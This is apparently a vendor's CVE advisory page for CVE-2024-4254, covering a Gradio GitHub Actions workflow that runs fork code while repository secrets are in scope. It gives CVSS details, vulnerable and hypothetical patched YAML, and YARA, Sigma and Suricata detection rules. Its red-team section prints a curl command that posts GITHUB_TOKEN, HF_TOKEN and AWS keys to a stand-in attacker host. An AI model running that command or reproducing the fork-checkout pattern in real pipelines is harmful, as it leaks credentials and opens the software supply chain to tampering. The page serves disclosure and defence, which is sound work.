CVE-2024-4254
Executive Summary
CVE-2024-4254 is a high-severity vulnerability (CVSS 7.1) in the gradio-app/gradio repository, specifically in the deploy-website.yml GitHub Actions workflow on the main branch. The vulnerability stems from improper authorization (CWE-285) where the workflow explicitly checks out and executes code from a forked repository. This design flaw allows an attacker to submit a malicious pull request that, when the workflow runs, exfiltrates sensitive secrets including GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, and VERCEL_TOKEN. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the potential impact is severe due to the breadth of exposed credentials.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not a package-level supply chain issue (e.g., NPM, PyPI, Go, Ruby) but rather a CI/CD pipeline misconfiguration. However, it directly impacts the software supply chain by compromising the build and deployment pipeline of the Gradio project. An attacker could use the exfiltrated secrets to push malicious code to the base repository, tamper with releases, or access cloud infrastructure (AWS, Vercel, Hugging Face). The Gradio package itself is not vulnerable, but the integrity of its distribution channel is at risk.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via a pull request.
- Attack Complexity (AC): Low (L) – No special conditions required; a standard fork and PR suffice.
- Privileges Required (PR): None (N) – No authentication needed to fork and submit a PR.
- User Interaction (UI): None (N) – No victim action required beyond the automated workflow execution.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted resource are the same repository.
- Confidentiality (C): High (H) – Secrets are exfiltrated, leading to complete loss of confidentiality.
- Integrity (I): None (N) – The vulnerability does not directly modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: High. While EPSS is low, the potential for lateral movement and supply chain compromise makes this a critical finding for organizations using Gradio in CI/CD.
Deep Dive & Mechanics
The vulnerability is located in the .github/workflows/deploy-website.yml file. The workflow is triggered on pull requests (likely pull_request_target or pull_request events). The critical flaw is that the workflow checks out the forked repository's code and executes it in an environment that has access to repository secrets and push permissions to the base repository.
How it works:
- An attacker forks the
gradio-app/gradiorepository. - The attacker modifies the
deploy-website.ymlworkflow or adds a malicious script that exfiltrates environment variables (secrets). - The attacker submits a pull request from the fork to the base repository.
- The workflow runs automatically (or after approval) and executes the attacker's code.
- The malicious code reads secrets like
GITHUB_TOKEN,HF_TOKEN, etc., and sends them to an attacker-controlled endpoint (e.g., viacurlorwget).
Why it's dangerous: GitHub Actions workflows that use pull_request_target have access to repository secrets and have write permissions to the base repository. By checking out the forked code, the workflow effectively runs untrusted code in a privileged context.
Vulnerable vs. Patched Code
Vulnerable Code (from deploy-website.yml):
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
with:
repository: ${{ github.event.pull_request.head.repo.full_name }}
ref: ${{ github.event.pull_request.head.ref }}
- name: Run deployment script
run: |
# This runs code from the fork
chmod +x ./deploy.sh
./deploy.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# ... other secrets
Patched Code (Hypothetical):
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout base code
uses: actions/checkout@v3
with:
repository: gradio-app/gradio
ref: main
- name: Run deployment script
run: |
# Only run trusted scripts from the base repo
chmod +x ./deploy.sh
./deploy.sh
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# ... other secrets
Key Differences:
- The patched version checks out the base repository's code, not the fork's code.
- It does not use
github.event.pull_request.head.repo.full_nameorhead.ref. - Alternatively, the workflow should use
pull_request(notpull_request_target) or implement manual approval gates.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A GitHub account.
- Fork of
gradio-app/gradio. - Basic knowledge of GitHub Actions.
Exploitation Steps:
- Fork the repository.
- Create a new branch and modify the
deploy-website.ymlworkflow to include a malicious step:- name: Exfiltrate secrets run: | curl -X POST -d "token=$GITHUB_TOKEN&hf=$HF_TOKEN&aws=$AWSACCESSKEYID" https://attacker-controlled.com/exfil - Alternatively, add a malicious script (e.g.,
deploy.sh) that exfiltrates secrets. - Submit a pull request from the fork to the base repository.
- Monitor the attacker-controlled endpoint for incoming data.
Expected Outcome: Secrets are sent to the attacker's server.
Blue Team
Detection & Response:
- Monitor Workflow Runs: Check GitHub Actions logs for unexpected outbound connections (e.g.,
curlto unknown IPs). - Audit Workflow Changes: Review any modifications to
.github/workflows/files in pull requests. - Restrict Permissions: Ensure workflows use
pull_requestinstead ofpull_request_targetfor untrusted forks. - Rotate Secrets: Immediately rotate all secrets listed in the CVE (GITHUB_TOKEN, HF_TOKEN, etc.).
- Enable Branch Protection: Require approval for all workflow runs from forks.
Lab Setup:
- Use a test GitHub repository with dummy secrets.
- Create a fork and submit a PR with a benign exfiltration script (e.g., echoing secrets to a log).
- Observe the workflow execution and verify that secrets are accessible.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections to attacker-controlled domains/IPs from GitHub Actions runners.
- Unusual
POSTrequests containing environment variable names (e.g.,GITHUB_TOKEN,HF_TOKEN).
- File System:
- Modified
.github/workflows/deploy-website.ymlin a pull request. - Presence of suspicious scripts (e.g.,
exfil.sh,steal.sh) in the fork.
- Modified
- Logs:
- GitHub Actions logs showing
curl,wget, ornccommands with external URLs. - Unexpected
git pushoperations from the workflow runner.
- GitHub Actions logs showing
- Secrets:
- Unauthorized use of
GITHUB_TOKENto push to the base repository. - Access to AWS, Vercel, or Hugging Face accounts from unknown IPs.
- Unauthorized use of
Detection Engineering
YARA Rule
rule CVE_2024_4254_Secrets_Exfiltration {
meta:
description = "Detects malicious GitHub Actions workflow modifications for CVE-2024-4254"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4254"
strings:
$s1 = "github.event.pull_request.head.repo.full_name" nocase
$s2 = "github.event.pull_request.head.ref" nocase
$s3 = "GITHUB_TOKEN" nocase
$s4 = "HF_TOKEN" nocase
$s5 = "curl" nocase
$s6 = "wget" nocase
$s7 = "exfil" nocase
condition:
any of ($s1, $s2) and any of ($s3, $s4) and any of ($s5, $s6, $s7)
}
Sigma Rule
title: CVE-2024-4254 - Gradio Workflow Secrets Exfiltration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious outbound connections from GitHub Actions runners indicative of secrets exfiltration.
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/curl'
CommandLine|contains:
- 'GITHUB_TOKEN'
- 'HF_TOKEN'
- 'VERCEL_TOKEN'
- 'AWSACCESSKEYID'
condition: selection
falsepositives:
- Legitimate use of secrets in deployment scripts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4254 Gradio Secrets Exfiltration"; flow:to_server,established; content:"GITHUB_TOKEN"; http_client_body; nocase; content:"HF_TOKEN"; http_client_body; nocase; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable workflow until a patch is applied.
- Rotate all secrets exposed in the workflow (GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, VERCEL_TOKEN).
- Audit recent workflow runs for any signs of exfiltration.
Long-term Fixes:
- Modify the workflow to check out the base repository's code instead of the fork's code.
- Use
pull_requestevent instead ofpull_request_targetfor untrusted forks. - Implement manual approval for workflow runs from forks.
- Restrict secret access by using environment-specific secrets or OIDC tokens.
- Add code review for any changes to
.github/workflows/files.
Patch Status: UNKNOWN. The vendor has not released a patch. Monitor the Gradio repository for updates.
Valters IT
Securing the digital frontier, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.